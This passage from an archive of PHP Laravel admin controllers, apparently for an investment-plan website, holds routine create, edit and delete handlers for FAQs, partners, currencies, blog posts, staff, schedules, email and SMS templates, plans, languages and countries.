btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.'Actions' .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="' . route('admin.faq.edit',$data->id) . '" class="dropdown-item">'.__("Edit").'</a> <a href="javascript:;" data-toggle="modal" data-target="#deleteModal" class="dropdown-item" data-href="'. route('admin.faq.delete',$data->id).'">'.__("Delete").'</a> </div> </div>'; }) ->rawColumns(['action']) ->toJson(); //--- Returning Json Data To Client Side } public function index() { return view('admin.faq.index'); } public function create() { return view('admin.faq.create'); } public function store(Request $request) { $data = new Faq(); $input = $request->all(); $data->fill($input)->save(); $msg = 'New Data Added Successfully.'.'<a href="'.route("admin.faq.index").'">View Faq Lists</a>'; return response()->json($msg); } public function edit($id) { $data = Faq::findOrFail($id); return view('admin.faq.edit',compact('data')); } public function update(Request $request, $id) { $data = Faq::findOrFail($id); $input = $request->all(); $data->update($input); $msg = 'Data Updated Successfully.'.'<a href="'.route("admin.faq.index").'">View Faq Lists</a>'; return response()->json($msg); } public function destroy($id) { $data = Faq::findOrFail($id); $data->delete(); $msg = 'Data Deleted Successfully.'; return response()->json($msg); } } Controllers/Admin/PartnerController.php 0000644 00000010164 15111246735 0014301 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Models\Partner; use Illuminate\Http\Request; use Datatables; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Str; class PartnerController extends Controller { public function __construct() { $this->middleware('auth:admin'); } public function datatables() { $datas = Partner::orderBy('id','desc')->get(); return Datatables::of($datas) ->editColumn('photo', function(Partner $data) { $photo = $data->photo ? url('assets/images/'.$data->photo):url('assets/images/noimage.png'); return '<img src="' . $photo . '" alt="Image">'; }) ->addColumn('action', function(Partner $data) { return '<div class="btn-group mb-1"> <button type="button" class="btn btn-primary btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.'Actions' .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="' . route('admin.partners.edit',$data->id) . '" class="dropdown-item">'.__("Edit").'</a> <a href="javascript:;" data-toggle="modal" data-target="#deleteModal" class="dropdown-item" data-href="'. route('admin.partners.delete',$data->id).'">'.__("Delete").'</a> </div> </div>'; }) ->rawColumns(['photo', 'action']) ->toJson(); } public function index() { return view('admin.partners.index'); } public function create() { return view('admin.partners.create'); } public function store(Request $request) { $rules = [ 'photo' => 'required|mimes:jpeg,jpg,png,svg', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = new Partner(); $input = $request->all(); if ($file = $request->file('photo')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $file->move('assets/images',$name); $input['photo'] = $name; } $data->fill($input)->save(); $msg = 'New Data Added Successfully.'.' '.'<a href="'.route('admin.partners.index').'"> '.__('View Lists.').'</a>'; return response()->json($msg); } public function edit($id) { $data = Partner::findOrFail($id); return view('admin.partners.edit',compact('data')); } public function update(Request $request, $id) { $rules = [ 'photo' => 'mimes:jpeg,jpg,png,svg', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = Partner::findOrFail($id); $input = $request->all(); if ($file = $request->file('photo')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $file->move('assets/images',$name); @unlink('assets/images'.$data->photo); $input['photo'] = $name; } $data->update($input); $msg = 'Data Updated Successfully.'; return response()->json($msg); } public function destroy($id) { $data = Partner::findOrFail($id); @unlink('assets/images'.$data->photo); $data->delete(); $msg = 'Data Deleted Successfully.'; return response()->json($msg); } } Controllers/Admin/CurrencyController.php 0000644 00000010225 15111246735 0014456 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use Datatables; use App\Models\Currency; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Models\Generalsetting; use Validator; class CurrencyController extends Controller { public function __construct() { $this->middleware('auth:admin'); } public function datatables() { $datas = Currency::orderBy('id','desc'); return Datatables::of($datas) ->addColumn('action', function(Currency $data) { $delete = $data->is_default == 1 ? '':'<a href="javascript:;" data-href="' . route('admin.currency.delete',$data->id) . '" data-toggle="modal" data-target="#deleteModal" class="dropdown-item">'.__("Delete").'</a>'; $default = $data->is_default == 1 ? '<a href="javascript:;" class="dropdown-item"> '.__("Default").'</a>' : '<a class="status dropdown-item" href="javascript:;" data-href="' . route('admin.currency.status',['id1'=>$data->id,'id2'=>1]) . '">'.__('Set Default').'</a>'; return '<div class="btn-group mb-1"> <button type="button" class="btn btn-primary btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.'Actions' .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="' . route('admin.currency.edit',$data->id) . '" class="dropdown-item">'.__("Edit").'</a>'.$delete.$default.' </div> </div>'; }) ->rawColumns(['action']) ->toJson(); } public function index() { return view('admin.currency.index'); } public function create() { return view('admin.currency.create'); } public function store(Request $request) { $data = new Currency(); $input = $request->all(); $isExist = Currency::where('is_default',1)->exists(); $gs = Generalsetting::first(); if(!$isExist){ $input['is_default'] = 1; $gs->currency_code = $request->name; $gs->currency_sign = $request->sign; $gs->update(); } $data->fill($input)->save(); $msg = __('New Data Added Successfully.').' '.'<a href="'.route('admin.currency.index').'"> '.__('View Lists.').'</a>'; return response()->json($msg); } public function edit($id) { $data = Currency::findOrFail($id); return view('admin.currency.edit',compact('data')); } public function update(Request $request, $id) { $data = Currency::findOrFail($id); $input = $request->all(); $data->update($input); if($data->is_default){ $gs = Generalsetting::first(); $gs->currency_code = $data->name; $gs->currency_sign = $data->sign; $gs->update(); } $msg = __('Data Updated Successfully.').' '.'<a href="'.route('admin.currency.index').'"> '.__('View Lists.').'</a>'; return response()->json($msg); } public function status($id1,$id2) { $gs = Generalsetting::first(); $data = Currency::findOrFail($id1); $data->is_default = $id2; $data->update(); $gs->currency_code = $data->name; $gs->currency_sign = $data->sign; $gs->update(); $data = Currency::where('id','!=',$id1)->update(['is_default' => 0]); $msg = __('Data Updated Successfully.'); return response()->json($msg); } public function destroy($id) { if($id == 1) { return __("You cant't remove the main currency."); } $data = Currency::findOrFail($id); if($data->is_default == 1) { Currency::where('id','=',1)->update(['is_default' => 1]); } $data->delete(); $msg = __('Data Deleted Successfully.'); return response()->json($msg); } } Controllers/Admin/BlogController.php 0000644 00000012740 15111246735 0013553 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use Datatables; use App\Models\Blog; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Models\BlogCategory; use Illuminate\Support\Str; use Validator; use Purifier; class BlogController extends Controller { public function __construct() { $this->middleware('auth:admin'); } public function datatables() { $datas = Blog::orderBy('id','desc'); return Datatables::of($datas) ->editColumn('photo', function(Blog $data) { $photo = $data->photo ? url('assets/images/'.$data->photo):url('assets/images/noimage.png'); return '<img src="' . $photo . '" alt="Image">'; }) ->addColumn('action', function(Blog $data) { return '<div class="btn-group mb-1"> <button type="button" class="btn btn-primary btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.'Actions' .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="' . route('admin.blog.edit',$data->id) . '" class="dropdown-item">'.__("Edit").'</a> <a href="javascript:;" data-toggle="modal" data-target="#deleteModal" class="dropdown-item" data-href="'. route('admin.blog.delete',$data->id).'">'.__("Delete").'</a> </div> </div>'; }) ->rawColumns(['photo','action']) ->toJson(); } public function index() { return view('admin.blog.index'); } public function create() { $data['cats'] = BlogCategory::all(); return view('admin.blog.create',$data); } public function store(Request $request) { $rules = [ 'photo' => 'required|mimes:jpeg,jpg,png,svg', 'title'=>'required', 'slug'=>'required|unique:blogs|max:255' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = new Blog(); $input = $request->all(); if ($file = $request->file('photo')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $file->move('assets/images',$name); $input['photo'] = $name; } $input['slug']=Str::slug($request->slug); $common_rep = ["value", "{", "}", "[","]",":","\""]; $tag = str_replace($common_rep, '', $request->tags); $metatag = str_replace($common_rep, '', $request->meta_tag); if (!empty($metatag)) { $input['meta_tag'] = $metatag; } if (!empty($tag)) { $input['tags'] = $tag; } if ($request->secheck == "") { $input['meta_tag'] = null; $input['meta_description'] = null; } $input['views'] = 0; $data->fill($input)->save(); $msg = 'New Data Added Successfully.'.'<a href="'.route("admin.blog.index").'">View Post Lists</a>'; return response()->json($msg); } public function edit($id) { $cats = BlogCategory::all(); $data = Blog::findOrFail($id); return view('admin.blog.edit',compact('data','cats')); } public function update(Request $request, $id) { $rules = [ 'photo' => 'mimes:jpeg,jpg,png,svg', 'title'=>'required', 'slug' => 'required|unique:blogs,slug,'.$id, ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = Blog::findOrFail($id); $input = $request->all(); if ($file = $request->file('photo')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $file->move('assets/images',$name); @unlink('assets/images/'.$data->photo); $input['photo'] = $name; } $common_rep = ["value", "{", "}", "[","]",":","\""]; $tag = str_replace($common_rep, '', $request->tags); $metatag = str_replace($common_rep, '', $request->meta_tag); if (!empty($metatag)) { $input['meta_tag'] = $metatag; } if (!empty($tag)) { $input['tags'] = $tag; } if ($request->secheck == "") { $input['meta_tag'] = null; $input['meta_description'] = null; } $input['slug']=Str::slug($request->slug); $data->update($input); $msg = 'Data Updated Successfully.'.'<a href="'.route("admin.blog.index").'">View Post Lists</a>'; return response()->json($msg); } //*** GET Request Delete public function destroy($id) { $data = Blog::findOrFail($id); @unlink('assets/images/'.$data->photo); $data->delete(); $msg = 'Data Deleted Successfully.'; return response()->json($msg); } } Controllers/Admin/StaffController.php 0000644 00000012450 15111246735 0013731 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use Datatables; use App\Models\Admin; use Auth; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Hash; use Illuminate\Support\Str; use Validator; class StaffController extends Controller { public function __construct() { $this->middleware('auth:admin'); } public function datatables() { $datas = Admin::where('id','!=',1)->where('id','!=',Auth::guard('admin')->user()->id)->orderBy('id'); return Datatables::of($datas) ->addColumn('role_id', function(Admin $data) { $role = $data->role_id == 0 ? 'No Role' : $data->staff_role->name; return $role; }) ->addColumn('action', function(Admin $data) { return '<div class="btn-group mb-1"> <button type="button" class="btn btn-primary btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.'Actions' .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="' . route('admin.staff.edit',$data->id) . '" class="dropdown-item">'.__("Edit").'</a> <a href="javascript:;" data-toggle="modal" data-target="#deleteModal" class="dropdown-item" data-href="'. route('admin.staff.delete',$data->id).'">'.__("Delete").'</a> </div> </div>'; }) ->rawColumns(['action','role_id']) ->toJson(); } public function index() { return view('admin.staff.index'); } public function create() { return view('admin.staff.create'); } public function store(Request $request) { $rules = [ 'email' => 'required|unique:admins', 'photo' => 'required|mimes:jpeg,jpg,png,svg', 'username'=> 'required', 'password'=> 'required', 'role_id'=> 'required', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = new Admin(); $input = $request->all(); if ($file = $request->file('photo')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $file->move('assets/images',$name); $input['photo'] = $name; } $input['role_id'] = $request->role_id; $input['password'] = bcrypt($request['password']); $data->fill($input)->save(); $msg = __('New Data Added Successfully.').'<a href="'.route('admin.staff.index').'">'.__('View Lists.').'</a>';; return response()->json($msg); } public function edit($id) { $data = Admin::findOrFail($id); return view('admin.staff.edit',compact('data')); } public function update(Request $request,$id) { if($id != Auth::guard('admin')->user()->id) { $rules = [ 'photo' => 'mimes:jpeg,jpg,png,svg', 'email' => 'unique:admins,email,'.$id ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $input = $request->all(); $data = Admin::findOrFail($id); if ($file = $request->file('photo')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $file->move('assets/images/',$name); if($data->photo != null) { if (file_exists(public_path().'/assets/images/'.$data->photo)) { unlink(public_path().'/assets/images/'.$data->photo); } } $input['photo'] = $name; } if($request->password == ''){ $input['password'] = $data->password; } else{ $input['password'] = Hash::make($request->password); } $data->update($input); $msg = 'Data Updated Successfully.'.'<a href="'.route("admin.staff.index").'">View Post Lists</a>'; return response()->json($msg); } else{ $msg = 'You can not change your role.'; return response()->json($msg); } } public function destroy($id) { if($id == 1) { return "You don't have access to remove this admin"; } $data = Admin::findOrFail($id); if($data->photo == null){ $data->delete(); $msg = 'Data Deleted Successfully.'; return response()->json($msg); } @unlink('assets/images/'.$data->photo); $data->delete(); $msg = 'Data Deleted Successfully.'; return response()->json($msg); } } Controllers/Admin/ManageScheduleController.php 0000644 00000007204 15111246735 0015534 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Models\ManageSchedule; use Illuminate\Http\Request; use Datatables; use Illuminate\Support\Facades\Validator; class ManageScheduleController extends Controller { public function __construct() { $this->middleware('auth:admin'); } public function datatables() { $datas = ManageSchedule::orderBy('id','desc'); return Datatables::of($datas) ->editColumn('time', function(ManageSchedule $data) { return '<div> <strong>Time</strong> : '.$data->time.' Hours </div>'; }) ->addColumn('action', function(ManageSchedule $data) { return '<div class="btn-group mb-1"> <button type="button" class="btn btn-primary btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.'Actions' .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="' . route('admin.schedule.edit',$data->id) . '" class="dropdown-item">'.__("Edit").'</a> <a href="javascript:;" data-toggle="modal" data-target="#deleteModal" class="dropdown-item" data-href="'. route('admin.schedule.delete',$data->id).'">'.__("Delete").'</a> </div> </div>'; }) ->rawColumns(['time','action']) ->toJson(); } public function index() { return view('admin.schedule.index'); } public function create() { return view('admin.schedule.create'); } public function store(Request $request) { $rules = [ 'name' => 'required|max:255', 'time' => 'required|integer|gt:0', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = new ManageSchedule; $input = $request->all(); $data->fill($input)->save(); $msg = 'New Data Added Successfully.'.' '.'<a href="'.route('admin.schedule.index').'"> '.__('View Lists.').'</a>'; return response()->json($msg); } public function edit($id) { $data = ManageSchedule::findOrFail($id); return view('admin.schedule.edit',compact('data')); } public function update(Request $request, $id) { $rules = [ 'name' => 'required|max:255', 'time' => 'required|integer', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = ManageSchedule::findOrFail($id); $input = $request->all(); $data->update($input); $msg = 'Data Updated Successfully.'.' '.'<a href="'.route('admin.schedule.index').'"> '.__('View Lists.').'</a>'; return response()->json($msg); } public function destroy($id) { $data = ManageSchedule::findOrFail($id); $data->delete(); $msg = 'Data Deleted Successfully.'; return response()->json($msg); } } Controllers/Admin/EmailController.php 0000644 00000007572 15111246735 0013726 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use Datatables; use App\Classes\GeniusMailer; use App\Models\EmailTemplate; use App\Models\Generalsetting; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Mockery\Exception; use App\Models\Subscriber; use App\Models\User; class EmailController extends Controller { public function __construct() { $this->middleware('auth:admin'); } public function datatables() { $datas = EmailTemplate::orderBy('id','desc'); return DataTables::of($datas) ->addColumn('action', function(EmailTemplate $data) { return '<div class="action-list"><a class="btn btn-primary btn-sm btn-rounded" href="' . route('admin.mail.edit',$data->id) . '"> <i class="fas fa-edit"></i>Edit</a></div>'; }) ->toJson();//--- Returning Json Data To Client Side } public function index() { return view('admin.email.index'); } public function config() { return view('admin.email.config'); } public function edit($id) { $data = EmailTemplate::findOrFail($id); return view('admin.email.edit',compact('data')); } public function groupemail() { $config = Generalsetting::findOrFail(1); return view('admin.email.group',compact('config')); } public function groupemailpost(Request $request) { $config = Generalsetting::findOrFail(1); if($request->type == "User") { $users = User::whereIsBanned(0)->get(); //Sending Email To Users foreach($users as $user) { if($config->is_smtp == 1) { $data = [ 'to' => $user->email, 'subject' => $request->subject, 'body' => $request->body, ]; $mailer = new GeniusMailer(); $mailer->sendCustomMail($data); } else { $to = $user->email; $subject = $request->subject; $msg = $request->body; $headers = "From: ".$config->from_name."<".$config->from_email.">"; mail($to,$subject,$msg,$headers); } } //--- Redirect Section $msg = 'Email Sent Successfully.'; return response()->json($msg); //--- Redirect Section Ends } else { $users = Subscriber::all(); //Sending Email To Subscribers foreach($users as $user) { if($config->is_smtp == 1) { $data = [ 'to' => $user->email, 'subject' => $request->subject, 'body' => $request->body, ]; $mailer = new GeniusMailer(); $mailer->sendCustomMail($data); } else { $to = $user->email; $subject = $request->subject; $msg = $request->body; $headers = "From: ".$config->from_name."<".$config->from_email.">"; mail($to,$subject,$msg,$headers); } } } //--- Redirect Section $msg = 'Email Sent Successfully.'; return response()->json($msg); //--- Redirect Section Ends } public function update(Request $request, $id) { $data = EmailTemplate::findOrFail($id); $input = $request->all(); $data->update($input); //--- Redirect Section $msg = 'Data Updated Successfully.'.'<a href="'.route("admin.mail.index").'">View Template Lists</a>'; return response()->json($msg); //--- Redirect Section Ends } } Controllers/Admin/SMSController.php 0000644 00000002534 15111246735 0013332 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Models\EmailTemplate; use App\Models\Generalsetting; use Datatables; use Illuminate\Http\Request; class SMSController extends Controller { public function __construct() { $this->middleware('auth:admin'); } public function datatables() { $datas = EmailTemplate::orderBy('id','desc'); return DataTables::of($datas) ->addColumn('action', function(EmailTemplate $data) { return '<div class="action-list"><a class="btn btn-primary btn-sm btn-rounded" href="' . route('admin.sms.edit',$data->id) . '"> <i class="fas fa-edit"></i>Edit</a></div>'; }) ->toJson(); } public function index() { return view('admin.sms.index'); } public function edit($id) { $data = EmailTemplate::findOrFail($id); return view('admin.sms.edit',compact('data')); } public function update(Request $request, $id) { $data = EmailTemplate::findOrFail($id); $input = $request->all(); $data->update($input); $msg = 'Data Updated Successfully.'.'<a href="'.route("admin.sms.index").'">View Template Lists</a>'; return response()->json($msg); } } Controllers/Admin/PlanController.php 0000644 00000016255 15111246735 0013567 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\ManageSchedule; use App\Models\Plan; use Illuminate\Http\Request; use Validator; use Datatables; class PlanController extends Controller { public function __construct() { $this->middleware('auth:admin'); } public function datatables() { $datas = Plan::orderBy('id','desc')->get(); return Datatables::of($datas) ->editColumn('fixed_amount', function(Plan $data) { $sign = Currency::where('is_default','=',1)->first(); if($data->fixed_amount == NULL){ $amount = showAdminAmount($data->min_amount) .' - '.showAdminAmount($data->max_amount); }else{ $amount = showAdminAmount($data->fixed_amount); } return $amount; }) ->editColumn('profit_percentage', function(Plan $data) { return $data->profit_percentage.'%'; }) ->addColumn('status', function(Plan $data) { $status = $data->status == 1 ? __('Activated') : __('Deactivated'); $status_sign = $data->status == 1 ? 'success' : 'danger'; return '<div class="btn-group mb-1"> <button type="button" class="btn btn-'.$status_sign.' btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.$status .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="javascript:;" data-toggle="modal" data-target="#statusModal" class="dropdown-item" data-href="'. route('admin.plans.status',['id1' => $data->id, 'id2' => 1]).'">'.__("Activate").'</a> <a href="javascript:;" data-toggle="modal" data-target="#statusModal" class="dropdown-item" data-href="'. route('admin.plans.status',['id1' => $data->id, 'id2' => 0]).'">'.__("Deactivate").'</a> </div> </div>'; }) ->addColumn('action', function(Plan $data) { return '<div class="btn-group mb-1"> <button type="button" class="btn btn-primary btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.'Actions' .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="' . route('admin.plans.edit',$data->id) . '" class="dropdown-item">'.__("Edit").'</a> <a href="javascript:;" data-toggle="modal" data-target="#deleteModal" class="dropdown-item" data-href="'. route('admin.plans.delete',$data->id).'">'.__("Delete").'</a> </div> </div>'; }) ->rawColumns(['fixed_amount','profit_percentage','status','action']) ->toJson(); } public function index() { return view('admin.plans.index'); } public function create() { $data['curr'] = defaultCurr(); $data['schedules'] = ManageSchedule::orderBy('id','desc')->get(); return view('admin.plans.create',$data); } public function status($id1,$id2) { $data = Plan::findOrFail($id1); $data->status = $id2; $data->update(); $msg = __('Data Updated Successfully.'); return response()->json($msg); } public function store(Request $request) { $rules = [ 'title' => 'required|unique:plans', 'invest_type' => 'required', 'min_amount'=> 'required_if:invest_type,range', 'min_amount'=> 'required_if:invest_type,range', 'profit_repeat'=> 'required_if:lifetime_return,0', 'profit_percentage'=> 'required|numeric', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = new Plan(); $input = $request->all(); if($request->invest_type == 'fixed'){ $input['fixed_amount'] = baseCurrencyAmount($request->fixed_amount); } if($request->invest_type == 'range'){ $input['min_amount'] = baseCurrencyAmount($request->min_amount); $input['max_amount'] = baseCurrencyAmount($request->max_amount); } $data->fill($input)->save(); $msg = 'New Data Added Successfully.'.' '.'<a href="'.route('admin.plans.index').'"> '.__('View Lists.').'</a>'; return response()->json($msg); } public function edit($id) { $data['data'] = Plan::findOrFail($id); $data['curr'] = defaultCurr(); $data['schedules'] = ManageSchedule::orderBy('id','desc')->get(); return view('admin.plans.edit',$data); } public function update(Request $request, $id) { $rules = [ 'title' => 'required|unique:plans,title,'.$id, 'invest_type' => 'required', 'min_amount'=> 'required_if:invest_type,range', 'min_amount'=> 'required_if:invest_type,range', 'profit_repeat'=> 'required_if:lifetime_return,0', 'profit_percentage'=> 'required|numeric', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = Plan::findOrFail($id); $input = $request->all(); if($request->invest_type == 'fixed'){ $input['fixed_amount'] = baseCurrencyAmount($request->fixed_amount); }else{ $input['fixed_amount'] = NULL; } if($request->invest_type == 'range'){ $input['min_amount'] = baseCurrencyAmount($request->min_amount); $input['max_amount'] = baseCurrencyAmount($request->max_amount); }else{ $input['min_amount'] = NULL; $input['max_amount'] = NULL; } if($request->lifetime_return == 1){ $input['profit_repeat'] = NULL; } $data->update($input); $msg = 'Data Updated Successfully.'.' '.'<a href="'.route('admin.plans.index').'"> '.__('View Lists.').'</a>'; return response()->json($msg); } public function destroy($id) { $data = Plan::findOrFail($id); $data->delete(); $msg = 'Plan Deleted Successfully.'; return response()->json($msg); } } Controllers/Admin/AdminLanguageController.php 0000644 00000014543 15111246735 0015367 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Datatables; use App\Models\AdminLanguage; use Illuminate\Support\Str; use App; use Illuminate\Support\Facades\Validator; class AdminLanguageController extends Controller { public function __construct() { $this->middleware('auth:admin'); } //*** JSON Request public function datatables() { $datas = AdminLanguage::orderBy('id','desc'); //--- Integrating This Collection Into Datatables return Datatables::of($datas) ->addColumn('action', function(AdminLanguage $data) { $delete = $data->id == 1 ? '':'<a href="javascript:;" data-href="' . route('admin.tlang.delete',$data->id) . '" data-toggle="modal" data-target="#deleteModal" class="dropdown-item">'.__("Delete").'</a>'; $default = $data->is_default == 1 ? '<a href="javascript:;" class="dropdown-item">'.__("Default").'</a>' : '<a class="status dropdown-item" href="javascript:;" data-href="' . route('admin.tlang.st',['id1'=>$data->id,'id2'=>1]) . '">'.__('Set Default').'</a>'; return '<div class="btn-group mb-1"> <button type="button" class="btn btn-primary btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.'Actions' .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="' . route('admin.tlang.edit',$data->id) . '" class="dropdown-item">'.__("Edit").'</a>'.$delete.$default.' </div> </div>'; }) ->rawColumns(['action']) ->toJson(); //--- Returning Json Data To Client Side } //*** GET Request public function index() { return view('admin.adminlanguage.index'); } //*** GET Request public function create() { $data_results = file_get_contents(resource_path().'/lang/'.'dadmin.json'); $lang = json_decode($data_results, true); return view('admin.adminlanguage.create',compact('lang')); } //*** POST Request public function store(Request $request) { $rules = [ 'language'=>'required|unique:admin_languages' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $new = null; $input = $request->all(); $data = new AdminLanguage(); $data->language = $input['language']; $name = time().Str::random(8); $data->name = $name; $data->file = $name.'.json'; $data->rtl = $input['rtl']; $isExist = AdminLanguage::where('is_default',1)->exists(); if(!$isExist){ $data->is_default = 1; } $data->save(); unset($input['_token']); unset($input['language']); $keys = $request->keys; $values = $request->values; foreach(array_combine($keys,$values) as $key => $value) { $n = str_replace("_"," ",$key); $new[$n] = $value; } $mydata = json_encode($new); file_put_contents(resource_path().'/lang/'.$data->file, $mydata); //--- Logic Section Ends //--- Redirect Section $msg = 'New Data Added Successfully.'.' '.'<a href="'.route('admin.tlang.index').'"> '.__('View Lists.').'</a>'; return response()->json($msg); //--- Redirect Section Ends } //*** GET Request public function edit($id) { $data = AdminLanguage::findOrFail($id); $data_results = file_get_contents(resource_path().'/lang/'.$data->file); $lang = json_decode($data_results, true); return view('admin.adminlanguage.edit',compact('data','lang')); } //*** POST Request public function update(Request $request, $id) { $rules = [ 'language' => 'required|unique:admin_languages,language,'.$id, ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } //--- Logic Section $new = null; $input = $request->all(); $data = AdminLanguage::findOrFail($id); $data->update(); unset($input['_token']); unset($input['language']); $keys = $request->keys; $values = $request->values; foreach(array_combine($keys,$values) as $key => $value) { $n = str_replace("_"," ",$key); $new[$n] = $value; } $mydata = json_encode($new); file_put_contents(resource_path().'/lang/'.$data->file, $mydata); //--- Logic Section Ends //--- Redirect Section $msg = 'Data Updated Successfully.'.' '.'<a href="'.route('admin.tlang.index').'"> '.__('View Lists.').'</a>'; return response()->json($msg); //--- Redirect Section Ends } public function status($id1,$id2) { $data = AdminLanguage::findOrFail($id1); $data->is_default = $id2; $data->update(); $data = AdminLanguage::where('id','!=',$id1)->update(['is_default' => 0]); //--- Redirect Section $msg = 'Data Updated Successfully.'; return response()->json($msg); //--- Redirect Section Ends } //*** GET Request Delete public function destroy($id) { if($id == 1) { return "You don't have access to remove this language."; } $data = AdminLanguage::findOrFail($id); if($data->is_default == 1) { return "You can not remove default language."; } if (file_exists(public_path().'/project/resources/lang/'.$data->file)) { @unlink(resource_path().'/lang/'.$data->file); } $data->delete(); //--- Redirect Section $msg = 'Data Deleted Successfully.'; return response()->json($msg); } } Controllers/Admin/ManageCountryController.php 0000644 00000007271 15111246735 0015447 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Models\Country; use Validator; use Datatables; use Illuminate\Http\Request; class ManageCountryController extends Controller { public function __construct() { $this->middleware('auth:admin'); } public function datatables() { $datas = Country::orderBy('id','desc'); return Datatables::of($datas) ->addColumn('status', function(Country $data) { $status = $data->status == 1 ? __('Activated') : __('Deactivated'); $status_sign = $data->status == 1 ? 'success' : 'danger'; return '<div class="btn-group mb-1"> <button type="button" class="btn btn-'.$status_sign.' btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.$status .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="javascript:;" data-toggle="modal" data-target="#statusModal" class="dropdown-item" data-href="'. route('admin.country.status',['id1' => $data->id, 'id2' => 1]).'">'.__("Activate").'</a> <a href="javascript:;" data-toggle="modal" data-target="#statusModal" class="dropdown-item" data-href="'. route('admin.country.status',['id1' => $data->id, 'id2' => 0]).'">'.__("Deactivate").'</a> </div> </div>'; }) ->addColumn('action', function(Country $data) { return '<div class="btn-group mb-1"> <button type="button" class="btn btn-primary btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.'Actions' .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="' . route('admin.country.edit',$data->id) . '" class="dropdown-item">'.__("Edit").'</a> </div> </div>'; }) ->rawColumns(['status','action']) ->toJson(); } public function index() { return view('admin.countries.index'); } public function status($id1,$id2) { $data = Country::findOrFail($id1); $data->status = $id2; $data->update(); $msg = __('Data Updated Successfully.'); return response()->json($msg); } public function edit($id){ $data['data'] = Country::findOrFail($id); return view('admin.countries.edit',$data); } public function update(Request $request, $id) { $rules = [ 'name' => 'required|unique:countries,name,'.$id, 'phone_code' => 'required|unique:countries,phone_code,'.$id, ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = Country::findOrFail($id); $input = $request->all(); $data->update($input); $msg = 'Data Updated Successfully.'.' '.'<a href="'.route('admin.country.index').'"> '.__('View Lists.').'</a>'; return response()->json($msg); } } Controllers/Admin/DepositController.php 0000644 00000032550 15111246736 0014301 0 ustar 00 <?php namespace 